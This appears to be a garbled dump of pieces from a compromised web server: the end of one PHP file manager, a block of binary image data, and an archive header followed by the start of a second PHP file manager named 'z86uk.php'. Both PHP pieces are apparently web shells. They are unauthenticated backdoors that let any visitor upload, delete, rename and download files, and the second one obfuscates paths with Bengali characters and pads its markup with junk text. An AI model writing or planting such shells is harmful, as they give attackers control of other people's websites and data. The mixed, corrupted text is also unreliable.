                            <input type='text' name='newname' placeholder='new name'>
                            <button type='submit' name='rename' title='rename'><i class='fas fa-pen icon'></i></button>
                        </form>
                    </td>";
                    echo "</tr>";
                }
            }
            ?>
        </table>

        

    

    <?php
   
    // ???? ????? ???
    if (isset($_POST['delete'])) {
        $filename = $_POST['filename'];
        $file_to_delete = $current_dir . '/' . $filename;
        if (file_exists($file_to_delete)) {
            unlink($file_to_delete);
            echo "<script>alert('File deleted successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['rename'])) {
        $oldname = $_POST['oldname'];
        $newname = $_POST['newname'];
        if (file_exists($current_dir . '/' . $oldname)) {
            rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname);
            echo "<script>alert('The file name has been changed!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['upload'])) {
        $target_dir = $current_dir . "/";
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<script>alert('File uploaded successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File upload failed!');window.location.href='';</script>";
        }
    }

    // ???? ??????? ??? (???? ????)
    if (isset($_GET['download'])) {
        $file_to_download = $_GET['download'];
        if (file_exists($file_to_download)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
            header('Content-Length: ' . filesize($file_to_download));
            readfile($file_to_download);
            exit;
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ?? ???? ??????? ??? (ZIP)
    if (isset($_POST['download_all'])) {
        // ZIP ?????? ??? ??? ???????
        $zip_file = 'all_files.zip';
        
        // ZIP ????? ??????? ??? ???? ???????? ???
        $zip = new ZipArchive();
        if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
            // ?????????? ???????? ??? ??? ZIP ? ??? ???
            $files = scandir($current_dir);
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $file_path = $current_dir . '/' . $file;
                    if (is_file($file_path)) {
                        $zip->addFile($file_path, basename($file_path));
                    }
                }
            }
            $zip->close();

            // ZIP ???? ??????? ???
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
            header('Content-Length: ' . filesize($zip_file));
            flush();
            readfile($zip_file);

            // ??????? ???? ZIP ???? ???? ????
            unlink($zip_file);
            exit;
        } else {
            echo "<script>alert('ZIP Failed to create file!!');</script>";
        }
    }
    ?>
</body>
</html>

		
%# , #&')*)-0-(0%()(ÿÛ C



(((((((((((((((((((((((((((((((((((((((((((((((((((ÿ     " ÿÄ               ÿÄ              ÿÚ    Õ@’@’hC‚é}!œ¥Ñ°½Œ<"Í
9iׂIIIHk+?ªc?³‚*YëµõøÔÃ!¯du)bèTÝ9вU÷$8G£ÉI.ªæ¾¬ÎïD³û×Sqæ
qÌ}.<±ðZîl—V!X‡
*xö-´\À§«§t3i§Å¨ÐsNv71©Æ›\ìØz|tìLÞëð$¾–«”ô*f‘ÔkÊ®ÁÈ7òH;¸¿›~F%¥'3Ñ@ÓHõq…`	9mOL³»«é/x@ @—ŸG<o)˜Ó3­ûpùãXʱKó¦ggáÀqÀQ»‘ST‘ãö«‡'ðê
\YÑ„ªkÀô®Ì(		Ã’*ãèÛšÓ@gƒ¡LžKvŠàÕ…¼û^i¥u<ÍŽà(%©
O±$0՝-/ˆÔH–êÓ‘ò
cM:šYï%a	£©µ#+}š2'ÉÓÞi×Èíð…:X¢Òø4†ji®õòV£‰>d’8F¸Ù‡†âKaÖKdr•Fh.©]y4
JЛêù]éKåŒB“E$º©$	$	§PR¥®΀ÉÀGÍ] ›‚u·i$$ÿÄ '        ! "#031ÿÚ  ýC/Td=SQ?¹Œ‹62Ccj{ œù‘ç̏dˆÚ†/cÔVÁ`þ›Wz͈÷{Y` d¦h¡L
©]OB§…íl¦ÕÊo¨Úîmr¥²õnÃë¿s-Ú—EZ¬°N©_åü1%bÅù„H†Ï£³¨§¾ÚVÚ7):™Ó·)}Î~˜(™;¬!»b1Æ5Kªë[E¦vÏ»>ìæq.%
”›OñªÞ(£cÃ#xà$¢'+Û¿`Ù¥vü—v(µ› ô—íM‰"Áv×ëB­.¿a ÷ÿ ™TÕ~ÑÏ•–hy(6nݱlíÅ1yNÉ“x€—ø¥°¹ì•ARÆ8Œrqv1.cSÚ+õÁ_âþ¡&@éé
ÝuÚM²5ĈŽXm÷öÎeLîX´qÕÍy#‹9]‡c®}É„LÊdÆeJ몓žËáI1TÁdŽCaMë$¥–T¬,’X
ábÊ­®!ž%F5½¦X1x#¨Š¶!‰qµí\ê†F§®2­ˆ&Rq‘ùC‹ol~Ç̱Ù.0ϦL‘dû`.“„†³ùô
ëÑüm{×Y~k{Cµ×}bv¸;U§Æc<ärÿ ~Éœs€1•j”«]W–líÍ*Õ¶CrÃã£QüN9 ö-„²¥­àd¦ÅEØ›šÒnF¥“eÚ“©8(qÀÂ5UgRȱGTA•©*¡ÓûÙþ†Ì†››Vþ珰åÈð–ÕezNŠÎhÃU]þT‘FG¾^“šæ<«ayˆ,!‘ÆÛ5.¬
•uÓbΚ±V¯J%Íøm éDxn'ÓÙÒØì6–@BPaí`˜œHts‚
µÉ®À–ÀÅŽ«ZɬÛÜ%BûXµ±d5Z±ïñhC}ë•ä…¸±p+
k=ÕáÊ’(ÁaՏFG&Â%@/È{+ÑYu+…È£GÑ©"O%Œ |vȲxF>°N(úšouh6	&Y5éß8¥7¯E$-ìâ']n,@TD\²ñ³”+Êãé½Ryþ UÒéU^™Q,f>ä×1ÝøòÆåq…¸f¸ÞU«–
µÌõF¤óõÚ¥ØÍ>I€à׍ºfNUw“uõ#OMMQ6ƒ NË*Óè_¥‹	kä ª§´ÆrSœ”`´óÓ1ò:þø !¶F'<+Ï
ã b?OÿÄ 2 	       !Q12A¡ð "3aÑᑱÁñ#$ÿÚ ?Ê,î7¸!`yÇ®(Ø1ëŠ6w…ýa¯ºÆš
FÝ#îþ?*"s†â¿év>»¾Èº×®äÛf†v©¬Í‘¹í¼sùü§°°ÐåìØØ]GnçüS	­³èÈ¥pG
Ñ‹ñE×gª)Z©¬íxÇrYÞqø]§@fþ_܃¤pÕ¹EÚŽÙ‘C –ñ²ÚêÅœ*/	ÒhüOÙSv‘Ùˆ\´Ž5®ôUœ°yš«î§Ž|o®Hm2C°S»BWš’¢í) Ø5­æª{T–ƒWœ‘²=o*RA¿¤<³ÃöŒL0g4{ý»ì¢Êep¿rw–8þ”7œÜU…Ùìt<Ԍѻ7»fGf…k}ØÀ÷ʚ㛆GÕ¼zõQ@Éã¤{Cš’'Gµ–8!£S$új²”xßÖåœ|çëÝצV<°Ô,Üëâûu­kÈuušrMÐfï_dÏ£i ß«ñÔŸnš!K¨ˆ§Šmxu©=åæ§»¦'jõXðçð«þ˜›»ŸÿÄ %           !A "1QR#BrÿÚ ?ÏR:¨ê£Rín‰b[¤II?#Àþ6<:Þ$gN˜çŒÝlGNlrr÷œd×¢MMn`É¿yÑ,Á%B“eÑWëÙdVS¾¹r²”½	%âtT—‘(úÉ·Á“SÕ]îO]#’_LEMHNÖM‰äÝkvÈýÉ~Xäâ÷O6Ò׿U›V_èé£ÊÇÔbÃýäJ»tü774ýìÿÄ D     !1AQa"2q‘#3BRb¡±á0’ÁÑð 4CSr‚ƒÂÒcst¢²ñÿÚ  ?ûÈ^q½ëÎ7½dGÛUî "pì«ómozéâŸ'³‡n_x®Ž¼å”¹e†Áôþ«<6ÿ §OÅt°¶óŠR>k¡Šs=œCrûÁˆe­?Ìi¹½ê¬ ²ÙÀ/—åÚº$beõ›o`Þ®žGHyè; fNAl±8ÖÇ.ð\ÚS±‡¹íÚØ"ô¹Õa¥ÃºF²YvNkó-*`vÛkÕʈ2fæEE¦µWaä,¯
¹fF^#Í;·Õ[9†Î^~ÁñÄðÀÑY$:0#W3Àõ¤æïÉZ*秆IœZàÚ¹´kûn--9=µãGˆÚ;7F)m{T±É†Ð=÷ˆÁ¶ÃȬ55Bë„aÚž5MŒ‚Ùî#mê5Ʀ‹mÆ8À‚+Hh„÷Å$Ï}±:&ÚeãQÅ[;i]С×:¥:Ñóoä›®¨«$<~é æ5RBÏ?µs3Ü5¯rÙÂO‹°Ö¿Ôw¬P/­•Ì…¶ýœ(èZ6‘R>)îÂNý‰4·!ÊŠ¯wzÈ-ËrÌw+áyk¸´ q1§bKhƸï4NÅӐùX›í´îQÈÂ_‚¬})ú+e1¤5»únõ”q?Ïí[ã^ä9<Àz3FsiÞ8…'ù)9p)î{­ñ†RPÝZ+Ñ*Ž÷p(aY½‘V»û“Î6lÁg“9¢£;׉¸du€²­Nt@Ü3ÑsTwzaŇÉGT‡bHÖìœ(#ÜÎ*zcÚëÆ¶Æ©é9K‰b1²Ÿ¢„t¦äÑʍñ<G‹CZ]Éx¯í»#ÓèçNcñhß+†ê×RÎG—ë$]–ƒW3{?\W‘7{'­õViÅÃhº$ò*™S†›·rFêñ%ê¬×‡5卾Èë}t¾G«[¾Oϵmä°Ý[´.ä9~³^+û=‡ÙèçNCñ*GÊñ&,õ󭼑ŽQ‘øsE˜ÆøÌ ÚÙ··ßÅ_‡ž¾ËúüЬOnꐁ$g»*+ewàUÑg9×äU\|ÆÖ‹¦ÚWÀWÊix|‚¶1OíüJ&­ËvTU–Ažî±*üDôö[Óäf	¾-®›{½üPŽ!øóD¬3N²_%Ü3à®ØûxwåÜ~б¾ÿ îgÕT4жJýÔXú–Ž¢K9;1ÞœÒú¿Ñ±Àü¥Ý{\[Å:,ú. ®¿®H³.„–d¿“rø ÆSÝ£B¶:ñUsAá¹VGÙý¬ú«¶ÞÞ!ùwªœ
bs$»ŽtÑ'b€H]ÑÃ2”æJ7ºìó­•Àmyõ¾!ø€Ìçhø”OE®ÐPê­uÕ’º.ïMxëÁ5Žmލ«ÎƒšÊ^
Ï.ÞÓšsÉ%ÅtÜ­mÕ:è¹ÚðÏ”Æw^O±ç[~.@ÊKß¾ç,E+‡?&v);<ðÌù•²…Îß\Óò²VåŏÆÈæR¢ÜÚÇÂ1“v™½Å+nüÐiTøjh¸¡}mÝšÛ>
¼Z?gÖiDþÏÇHÖR¦­ÜBŒ–‰^M¹ä™µvðêÑOÿ ŒúLìD,'d‘q¨CÊPŠ©‹å$Δ§ëUë•ÖŸÖŠ=¸sšßF¹$•¾J‹Þ‹Z?üNŒ¸ìí¸ÉÄÓAïNžWPˆï,àî
›Â¦ò™ˆ‰Õ&;Ãx»‚dupŒ¶í§ªi¡÷¦Ipd¡Æö;¤Ç…!ÃÜÖ¿Ñ®Ab%Ýu÷}j›­-p¸Ü>Iî­[›N¥bi¼ÅûŠGý'·;4wÁm]Hú]ê÷µÏ#LÓ˜NN®žR·¢ñÏÁ’’ós….]¨–enôý-ê8eÉÀPsåÛàÉQ¢²;¢ÎÔÈ›£EÒÝ«¨¾‰î‚7“Ÿgê«_L»ïWááEZ:/ÉÕI„—¤aògÚnãÜ¤ŽšiÙ¹èæÞÅ·„TèöH~i®a¾¼è²÷ÕÖŽý~KV ±Œ”ì
A-2m]ÍF"¦m«9-ZbǰŠ×´ @¹»¨ë‡~¿4çNÑ[íUxč·tl>ˆüÊØÆâu#rgѐ»3þäÜ;M9¡<éïš“JžˆàÝÞ1ÚvfL8µã׋¹1×PHgP¶Xv¶áÜÕ’î¢{âëÔÜOÓ}®n ÇKQØ‹§Òç§7<”lëfey<ï}’>®bXÈàŸ4<`Y7¬ßæsiãÉV)îsô:—{”rOÖhêz ñ@4VWõB“ËŒ&¢í¤šÛóÉ¡obÜ‹êƒFƒ÷4>yšsä®fXWSúNõO$ù,.u:µÔ«€©gÍyao4ÛÃ$hÐëD#…îÙ¸f^khà7¢#1ZÔÖ¥&ÊÚ×*Ôv-Œ²;bÞ­†•ôçQ‘ƒ©Ñáhïow¹y]žÙ‡.+Æ 7ëMÕâ´»
ÓJYþ¯géfÎi3qýçKC®’3£Â¹·?5¯Z.NåÍ^Z
w‚žìKFÍ‚½©Æ7ìÈÞƒÛž­–wjŒ¹TçJ.ŒqÂŠé\Sv1U¢—ŒÀR›Üìš½&áN”ëÍÈpЖ`Œ`у‡Øm`vÎn#zÊÜ4‡Ñ>eÿ ñVâ˜`'×êžÇh¼˜¼–' þjìAÒ”â±-”4:Hìµýn]9£h<Êën¦·œ»U˜6m­õ2cËE1/æYÿ %µ™ÛI¤~ʏ „|VBÆŸ@æÞåü;ãö°¯ û§%üM9MâŸÁ}âñ1þD¬±dÿ ÙÃþ%gäö±O»ÿ ]ñ©Àу&r£Ûfê7¹uܲìÿÄ (       !1AQaq‘¡±ðÁÑ0ñ áÿÚ  ?!þŒ*êÖ@)€Je—Gûjµ®{ª['Áúv+¿ñÄûÚüÒžü)¨ñò(È/õ¬ù¥Ð´%젍ZŸÔkkÊLu¡Rmÿ µËj.cü@Z 
V´J«‡d©ûj€†æ–h6ː‘2AOÎï a;oBu¢¶¥Hò=œ€“nKÃW8«B¤É°Üu?¢ÿ бØ£m,©sr€¤‹ã|ø æã8˨i¼§qI2tZšÛ„JPÅÈXE¹¢™‚¸’zÞ”j~]UMuÀÈëŠózv!¸Œ¡N¼&¥1§YÜÛzJöÕ ýÈ\p¶¬o'ሸ‘CØŠYÔüTD"HM5‡Ъ¦³i߯a†ÁÑF©¥²›A)¶Çê™çêÚ®Ûæ“êÔzÝE‹ö@·hgå֝8‘1jk¹‰\ÜM†3¤8Ü¢úÃ	âš†ÿ Æs²7„¤ŒûN}éÞ­““æÀ±¸GN¥Bc‹†ã©L
pkØ;ïJõδ3§eŽiUÈgAYW]\Ô>¤GyÚ¯Q=ƒ´fÐKA;T’a`eM+Q ÔÍ
Ln¨“ÈÌŒ]GMÒø¼‚’<ĦÀj»­H² ÇNM×xæ}aX{Ì£SØ	®›Ô…îßnúMAŠS¯rŒ(ÏÁŽê(ÜLûîzo9¬ËÎ.Í;<Ršäwœu¨‡R€`_ô¬RA†]é-j	„	f[Ô ÁÉŽµká›P”÷ÿ êKêÍÝûQ‘‰b³o¿£hÍi&èû‚{¨r’£Ã£bŒÉ˫ݾý´©O^ÊÐ:%ŒðÓgW–¬]DIciÃP+^ob˜§É;«Žòb‚!Ø9ü§ÛR.‘>ÜÓ³fíÕÐšƒ˜`Ó”Ù¢3šÕ
 IWíÅ\9~_¸§ƒsaaÞ\ÔŠWƒÜ­X:ˆ–ÆÓ†38ùty*—•ºõN­qPÑÃÁ“BI­YåjEìâ>DPä§!íR%-€4ø¤'’皺;±è~JÖ!Ô7mîžô“Xå÷hÃP!æ›­ÄÞÛ$Í\†AYj‘.lCËð4Ñâ+žjD¡dgC0-*‹ÙÅ| ¡`ZDí+лßC"„°)”¥s¢è8Kqê…pq‹¦¯Ms»²4±	ÄÆ7\U`’.þÔ[Ey8«ÒAH!/¡Í,çó(:M
-œTä“¥ª~O¬4- ¼œÔ’ nþÔ}HDN7¢¢åK½©Ž$Ü_Ԕ䚞`ŠRœhBç_aX?4V´ŠÅ—‹@Ù‡ãŠuÓa³;‰{PcT+Õ×èôåÚ7YBoƒ?¾¢r-Í©{ŸÄŽA±½	¿¡ûè˼nº¯M286»âGŠŽû1…ûVÎËœJв"låÄV5¡äÅ5ÍC]hêÁêÌŠÂAÇëÅ%å
­'p´Ô‚¸‹»Õ¡˜9=˜dÂ=Ÿeª{®'<3Í_
¾:^£~ˆÇ4ˆ(˜nú-CÄs‘¢5m![ÈjmIqUÚ~šTw8’Þ`àÖå™píH8Àu—Д l
mÿ aP’0‘µ÷µë£ƒ9yµŠÆÃCMŸÍF1G糞õ.·U~ÀÙ“¦´ûüFCïŠ{ÿ !e(Y¹:Á¶ºP´ÒúŽ7~;íLä‚N^{æ1r©\¥ îÔ¬G(ï£0dÆÃOóqKÝZú⑼ƒT÷{
2¬òsþÒKdÍՏ?mMQ¤œ=–¨Ú6›7¾i„ᐰéH+›Øóƒ9¢“dÂõ=– ;‡QؤH8n¶Lb¤D…ÎyS%É(³{b¤ºÝCuú·¡p‘t#C¿ÜÓ$A"ØH{¬®žjqᶯð:Òn=E‚ÃÇòhHÅ`ð!™mÔýMA½À˜¨ÈÇ?ªv6àäÞ+MԿ⟚qKÕi§Dž*Q5¨ÎCZ™¬ò2„|]ª:Xd+„t›:o@•²M Ó©Ÿ
:˜32‰Ýb‚õ«ñ[\5=ßÖµ7])÷|t©ëƒÏº—  ‹éwéBüÅ„—eªá«!`Ë:ÿ íI,±„9:Öö¤ãj@/a	8’Ÿò¬Š+<‰uÒ(T^Ûº~ªá2oEÊBà%b)ÙÙzÑâ¤Ý³Ú·)ÈiÛj¬¾&õÒFi`qr¦‚wƒú7­@Ç÷P£¥
î3Z&<ÎmóSåCƒßî´­˜™7tìT¶¨žøÆ´¬q~JŽe÷r6ÓZ] rL÷šì¥Ù‡ñE17'¡x¿š´+[ ÜœTc6Ü/–†òúWô`¤qpMJ‚—N5^ªØÆïxï}{lÐFmÆ‘®›œÁ1‹oZ\ŒËÓð /d£/6 	ÁuÓ¸Å0elXuX;M ›Ò$M÷}mBèÎÐàØþ¤Z%eŸº“3fòjsäÇʤO¿J~2üz±86Ÿ*PB¬ÉvÑΝŒ£e-îÉ.¥/š†LèOÿÚ      óÎ2üóÏ9ƒØÇ4}|‘ØT5MßáÑhÐ7ðF*äÆl+y⑏0€‚–ö:|žº=k[”d‰;|òÔ‰e§=wÏ<ñÝõÏ<ÿÄ '         !1AQaq‘¡±ð ÁÑáñÿÚ ?øÍ5ÚëØ)Ô(›ì¾+>v¤ø¦²6&{ƒ°Ç¸@ÝûÀ½MØõÂþv®”iA 6T'¯w«›hÕs
€E}âxŸÁG&'gúá
J~1qÏfãf‹Šÿ  &ç”q˘™–-îÎÔvYm<v“†ÔPt°ýD»ã‹5"BvþüÓ ¢zÔH…Àýýë4Øa¾bZ›ômäa9jòÙ¹&¿iÖ„’‡S“E“T³y[E9"ßcKÓ¶›ŽôGár 0D½8ah\ǯvãMÁ:¸óvû¡SYu¢V¦3Ú)[&ȏrÞ¾ÐÛ%‡83ï5º" ‰v×´_Mñűcï?ŒƒÈ%îÁî‹'+è³ÍhÏ7ÓúTBH”Üe`0Á¥ÙüòU]-ô‹XG|ïVºôý5w·rw@ëBl"oheXÄH]	§TÌy4{vø
O‚ßâ^TBC±ÂL$‘ºÎ•btÇ\¾W¥b¯<>¯/i1
Iºœ6ºéu,) Î#É,ôùƒ΁Íl}*&`‹$‘ͬe»%‚w3ËxÐѤÀXcã¸DÙû执g¸å³•÷5B/|$¶¿=è…î%8 aæå2.l‚	c÷@G ¹
\Ù/x[Ó©q¿]žv5?À±ÃñÑN|÷!îÔÙ\Þê,>¿À{¬"rç»/˜ü?ÿÄ &          !1QAa¡ð ÑᑱÁñÿÚ ?ÄŠDòè‚­¿„	nv@Òyޝ (•³·¿¤IÂ…´Ïå ‡U
- íëé b³mýE>î§Ž,€–1v!—dì&·´ œ›û&šæª”±5D¥&0P¦€Ô”ÐÍ’@ZÛÂ:†E"¢
QÉ¡`”>PH:~£OÄ ññóÖPš3WÛõ@hM¦Šk‚U’˜\¢O‹öR¹õ€±Í¦â5Ê„ç,¹šf†|×ùrˆ† }јxo)€"+hµQK¹åÐ/ËÚ 0é`±5û{M~ÞÓ
ÝÿÄ '      !1AQaq‘¡0 ±ÑáÁðÿÚ  ?þ?´kØÅ#^†~®Gù#V,úýôÕÅÂ#Zå1'ܤüÌÀ¸ŸùÁà§~pO%O‚OÎ\–që`ù~ð¯¸}ÌåE¿Å°5 –輸µduÓô¬ôx\í$—Òýs[ {T2t`BÉgq·4Z]bÆ 㛪–3,(@ ììöbAp¯r)9:@|b¬!rØg:N¢^ŸÉ…¨Çâ
ªx_Ž\á”pm7Iüû0?>^kœ¡÷¼œëšüwøŠ ¬|.Kð[sF@­]Gn*L …yOÛ
lePž.pî³ñ¥ÖëjµS  =ðʨ´×ŸQF ×"òÎ5zʼn‘ÓÂk¢*8¹u"
´ñÎöFgµÅÙ
§cSyµV³þƒ§¨â¶Æ‡¯àN±þؐ(»¢—äÀ48hV·A×ÓŽ^‘Ø^
÷¤¸jyBí úÖp"ªžŒòÓy]ºÄ¼lU‘(Ž7îU`3 pCGF'&ygýþ²ÿ Ö¬oè¼z£Éïõš¹Xƒôν:ÃP"@ïG@x[ާo&MJ”$F.àá“òÀhi
w;}ø/^͇q¾³™n•mNÛ/¦TQÜŸôÞ‡¥¾O1\,}ÛàbQ
#¯^S!)¶ò¶ŠXœ¤ç#GPȏÒt˜†	c^\„½'
}iIZáöúaô)«àòþŒ¤¹zÿ †4ÍŠÂΞyïð˜¸48,ôïfÏÐ#“ž§·œKP!Jxë|wÙʆ‘¦àýáÈ󴏇üâÐí#¹ªZŸÁðö ûïˆ<
~K írÞp&qH/;ÂRò‹Ñææ²½ÿ +ÅE¾R¯ÀÄ~0v¨ÙÈV#Ê€ÚTÓòS(- ڝÚèBºyŸbÔC¹DŸ ®¼‚ëbêÐÓí¯‘ˆó8Á~Œ= ’YÐͧ]äè@nåœâ„ ©M™k2…%Ó;Ë%,Ñr6ÔLRè…»?^åÄ;KŇ=á Ö„
“¸¼=`óÉ¥Çï/²Ž¶z¥&€I{ ëÀ¥#Jâ¶ÀMˆ¦ÝCýæ}ÝH9^UJà,P
©ípS·€ìÉGßd69ϬuÐñ%"ұˢPšýK¿"k)îÍ=úÏ9¿ €½Íü㇌,ú…OlišÇXzh
" –
°ÊÞð†“R€Á^ýsŠîÁÉNÊk™Q>Ñ63(‹¶øú
­ ­PQÑPy®þ™ã©3๯œ$f+WÕ›=4úǁ`*ú—^²‹Eb°K¨tÙ6¨^®û!Úç±·ëÈÈ­ÀèK{/;¹Lö‰ðpxãàÏüÖ;a¬ÏØOÙ„z¨[ê.NP4Ñ]Gc´T¶v‹àìø~sg'LEDŠ¥]j®¢'¸G“]6rYª µÈUPw°*OÍİՋi¡'8ÈÛ´ÿ #gýXx+=×eU6•R®€cÝ"ßu2õ¬~?nÌyø;ÿ uœž3Ø'ÀÅ6ðfÞî¡Áëñýb‡È߬MŽ$*¦øk&?6ÂÐ¥*^1nµ¿²þÛŽz)<»ÓGzÀ	‰ ž‚‹Å7÷€·ñYâ	±ñÛƒ)$A¯…2ÕL6¾
Õ¥ƒHÉ<ªršÑ#ʽ2ÂÜ OÛ›R½†€z ·AƒˆXWÅÀ@´¬óÚùï Ç„ð¼’<ÃGÆ
Ϥð¯^ÛË“iˆMøW–…ê6
 òƒþ0²ôm){cÎ;ݧë>Rýa¨×ßá†}1²Ù¯%ê™EY2’Q‚šEp¢ã˜ð$ 
­ªEÞÎqSÖî‹»”t#+xØ *Ãh§UIÜÎXM?¥'//ûÃa'êGàžò¸”q@¯Ÿ©<Ÿ†zÊÆØŸÈ§‡ýcd‹›z¢Ë¬T_uœÑ®„–‹Š&z¡k
¢Ón
]§a%œpy»ï`Qdßxcÿ Ôå—îƒõ”n·ë	Îú*ŒoTd‚;'já<¬!jÐæ‚'æ‡(~äÍ´WÑM  PÛmȘ¼Ç@Ö¨V+Rž`ú$äŠ`Œ+@êèµ_[ÅkG™ïÞ‡PçëÞZh9¸R«àëƒ&5bò‚vµ±ÀZû‘•#p”&ýÔ±+½•8’etZ7GËüó;§ì¥@"Óe0ŠØçv7ƒ¼¨?À±zÌ?_Òô‡_äq1ÜT€"üpÀËŽ/U
6׌_‚Bî¶>ÆŒ0(	ó‡Ð}G#­ž‹›ÜÅÈ¢×pô	¼9¶É;/&
`¥B&$è¼y÷t(¶*zÒxàƒðӔޱ¨„àšSö?Kȏ3Ûö•{pé	b
	ۍ-Èz܈֦à6?<ûú›Ç¬P°NÀG
àæ›´÷
÷6ˆ/h»£ž„á0Z¡‚…øŠž”ÁçiÁuaØøe‚*M'A©
“xª¬v¢q.>’F­
oN{°ØQ”ã«{gDžüLñð³u‘=|æð¡ëO
xNËÉ¿díž´q“8(ëÛEèUu‹Ó,ˆîO©
t±DJ	±å­ÃÓ;×á†G°˜’†e©’¿CàÃVYZßõ
¡÷—T4{ßìÀÔ(€Ó²'cÕtŠf Èw“c—jrÝeÞ³Ûm
»#7,ë6ÝàBâE4QˆP».PÕ(&’±^{9H-ÖmÑo
àåqßg1À€ð=™á²>pœ)/"p0!4Þm‚S6ú´FN¨¦h½ÌD
¤)¶äXdT
‚FؤZ⸚€k àòùHéc8vö	<¸§ÐuœP‰Õ€ü°ô:ÃÄ_ØEN°á|€Ó›‘îu?-â/¦oöL hkÏܸ ”S¦;îRÄ«¹»€è¤T"ûN¡©åM¾px7<ÎÀ j$µÒ`ƒY)Pjh
5`
K‹Q f‘4Cæ­bX"ƒD¤›Ž;HDáZß9R b¡F)ËUAÔŒ¬ƒvù#„H DÇ!{•²ïåäË>I¯
“`áԁ
i¯4Ü)t*öçÇLe¥_؍‡>ru­GEQg±®Ç”ct›Ñō0®Úl6væÚdÏô
  ªGG8ïÆév^º|˜#JyZPSOÀà®
Y—CuAߐÁ"€xž„è™OfHF@‰KÈVš!å°‘EÒ•]h˜
¤‘[ö—¶)Ć.qàËßð*0I<8Á»^Ë6½}p” ^thoõ‚ži g²iÍÚ¬ÛDKˆŽìp, íÍ2­3ÂIÀá5åÃù‚ì“„OYë6s7Qs¥Ow^±w‘J/›Aâž°ÆžŽŸ€0ù©§ƒ€ðg(Õ„¬ÅyÔÄKÔ‡°ÛõÀQS³?HÃóÙwáX=æ¿ ÈÒžXú~‘…ÓQ=¢'ñøÐp?7Œ@gó~œG­}Œr“àgèT?‡ÿÙ

z86uk.php000064400000026255151550217160006261 0ustar00<!DOCTYPE html>]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj



<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;'</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
